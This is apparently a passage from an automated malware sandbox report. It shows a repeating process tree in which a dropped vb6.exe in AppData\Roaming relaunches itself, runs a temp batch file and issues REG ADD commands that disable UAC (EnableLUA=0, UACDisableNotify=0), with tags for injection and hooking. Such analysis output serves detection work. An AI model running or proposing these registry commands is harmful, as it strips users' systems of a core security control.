                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                      1⤵
                                                                                        PID:2760
                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                          2⤵
                                                                                          • Executes dropped EXE
                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                          PID:1912
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                        1⤵
                                                                                          PID:4124
                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                            2⤵
                                                                                            • Executes dropped EXE
                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                            PID:1100
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                          1⤵
                                                                                            PID:2588
                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                              2⤵
                                                                                              • Checks computer location settings
                                                                                              • Executes dropped EXE
                                                                                              • Suspicious use of SetThreadContext
                                                                                              • System Location Discovery: System Language Discovery
                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                              PID:2200
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                3⤵
                                                                                                  PID:3508
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                    4⤵
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3688
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                    4⤵
                                                                                                    • UAC bypass
                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                    PID:3408
                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                  3⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:5556
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                              1⤵
                                                                                                PID:5200
                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                  2⤵
                                                                                                  • Checks computer location settings
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of SetThreadContext
                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                  PID:5404
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                    3⤵
                                                                                                      PID:4884
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                        4⤵
                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                        PID:4056
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                        4⤵
                                                                                                        • UAC bypass
                                                                                                        PID:344
                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                      3⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      PID:4876
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                  1⤵
                                                                                                    PID:2812
                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                      2⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                      PID:4300
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                    1⤵
                                                                                                      PID:2368
                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                        2⤵
                                                                                                        • Checks computer location settings
                                                                                                        • Executes dropped EXE
                                                                                                        • Suspicious use of SetThreadContext
                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                        PID:368
                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                          3⤵
                                                                                                            PID:1836
                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                              4⤵
                                                                                                                PID:1412
                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                4⤵
                                                                                                                • UAC bypass
                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                PID:6096
                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                              3⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:3656
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                          1⤵
                                                                                                            PID:4492
                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                              2⤵
                                                                                                              • Executes dropped EXE
                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                              PID:2396
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                            1⤵
                                                                                                              PID:4252
                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                2⤵
                                                                                                                • Executes dropped EXE
                                                                                                                PID:4448
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                              1⤵
                                                                                                                PID:5040
                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                  2⤵
                                                                                                                  • Checks computer location settings
                                                                                                                  • Executes dropped EXE
                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                  PID:708
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                    3⤵
                                                                                                                    • System Location Discovery: System Language Discovery
                                                                                                                    PID:3988
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                      4⤵
                                                                                                                        PID:2924
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                        4⤵
                                                                                                                        • UAC bypass
                                                                                                                        PID:5072
                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                      3⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:4036
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                  1⤵
                                                                                                                    PID:5060
                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                      2⤵
                                                                                                                      • Executes dropped EXE
                                                                                                                      PID:5340
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                    1⤵
                                                                                                                      PID:1792
                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                        2⤵
                                                                                                                        • Checks computer location settings
                                                                                                                        • Executes dropped EXE
                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                        PID:5900
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                          3⤵
                                                                                                                            PID:2112
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                              4⤵
                                                                                                                                PID:3968
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                4⤵
                                                                                                                                • UAC bypass
                                                                                                                                PID:2456
                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                              3⤵
                                                                                                                              • Executes dropped EXE
                                                                                                                              PID:4040
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                          1⤵
                                                                                                                            PID:4420
                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                              2⤵
                                                                                                                              • Checks computer location settings
                                                                                                                              • Executes dropped EXE
                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                              PID:5572
                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                3⤵
                                                                                                                                  PID:1008
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                    4⤵
                                                                                                                                      PID:2936
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                      4⤵
                                                                                                                                      • UAC bypass
                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                      PID:4124
                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                    3⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:1672
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                1⤵
                                                                                                                                  PID:3040
                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                    2⤵
                                                                                                                                    • Executes dropped EXE
                                                                                                                                    PID:5048
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                  1⤵
                                                                                                                                    PID:760
                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                      2⤵
                                                                                                                                      • Executes dropped EXE
                                                                                                                                      PID:2588
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                    1⤵
                                                                                                                                      PID:4364
                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                        2⤵
                                                                                                                                        • Checks computer location settings
                                                                                                                                        • Executes dropped EXE
                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                        PID:6072
                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                          3⤵
                                                                                                                                            PID:4528
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                              4⤵
                                                                                                                                                PID:2948
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                4⤵
                                                                                                                                                • UAC bypass
                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                PID:4460
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                              3⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:5020
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                          1⤵
                                                                                                                                            PID:2816
                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                              2⤵
                                                                                                                                              • Executes dropped EXE
                                                                                                                                              PID:2724
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                            1⤵
                                                                                                                                              PID:1380
                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                2⤵
                                                                                                                                                • Checks computer location settings
                                                                                                                                                • Executes dropped EXE
                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                PID:4768
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                  3⤵
                                                                                                                                                  • System Location Discovery: System Language Discovery
                                                                                                                                                  PID:264
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                    4⤵
                                                                                                                                                      PID:1068
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                      4⤵
                                                                                                                                                      • UAC bypass
                                                                                                                                                      PID:5696
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                    3⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:2016
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                1⤵
                                                                                                                                                  PID:2856
                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:5684
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                  1⤵
                                                                                                                                                    PID:4640
                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                      2⤵
                                                                                                                                                      • Checks computer location settings
                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                      • System Location Discovery: System Language Discovery
                                                                                                                                                      PID:3784
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3420
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                            4⤵
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            PID:1592
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                            4⤵
                                                                                                                                                            • UAC bypass
                                                                                                                                                            PID:5740
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                          3⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                                                          PID:5632
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                      1⤵
                                                                                                                                                        PID:380
                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                          C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                          2⤵
                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                          PID:2760
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                        1⤵
                                                                                                                                                          PID:6024
                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                            2⤵
                                                                                                                                                            • Checks computer location settings
                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                            • System Location Discovery: System Language Discovery
                                                                                                                                                            PID:5108
                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                              3⤵
                                                                                                                                                                PID:4720
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:400
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                    4⤵
                                                                                                                                                                    • UAC bypass
                                                                                                                                                                    PID:1788
                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:448
                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:5052
                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:3156
                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:4888
                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                        2⤵
                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                                        PID:3260
                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                          3⤵
                                                                                                                                                                            PID:1588
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:1908
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                4⤵
                                                                                                                                                                                • UAC bypass
                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                PID:1448
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                              3⤵
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:3496
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:464
                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                              C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                              2⤵
                                                                                                                                                                              • System Location Discovery: System Language Discovery
                                                                                                                                                                              PID:1564
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:2876
                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                2⤵
                                                                                                                                                                                • Checks computer location settings
                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                PID:620
                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:3996
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:3520
                                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                        REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                        4⤵
                                                                                                                                                                                        • UAC bypass
                                                                                                                                                                                        PID:2496
                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:3580
                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:4760
                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:6072
                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:4528
                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                            2⤵
                                                                                                                                                                                            • Checks computer location settings
                                                                                                                                                                                            • Suspicious use of SetThreadContext
                                                                                                                                                                                            PID:4424
                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:4056
                                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                  REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:548
                                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                    REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                    • UAC bypass
                                                                                                                                                                                                    PID:4428
                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                    PID:5200
                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:1640
                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\vb6.exe
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                    • Checks computer location settings
                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                    PID:3336
                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\JNYVYK.bat" "
                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                        PID:2932
                                                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                          REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center /v UACDisableNotify /t REG_DWORD /d 0 /f
                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                            PID:2980
                                                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                                            REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                            • UAC bypass
                                                                                                                                                                                                            PID:1412
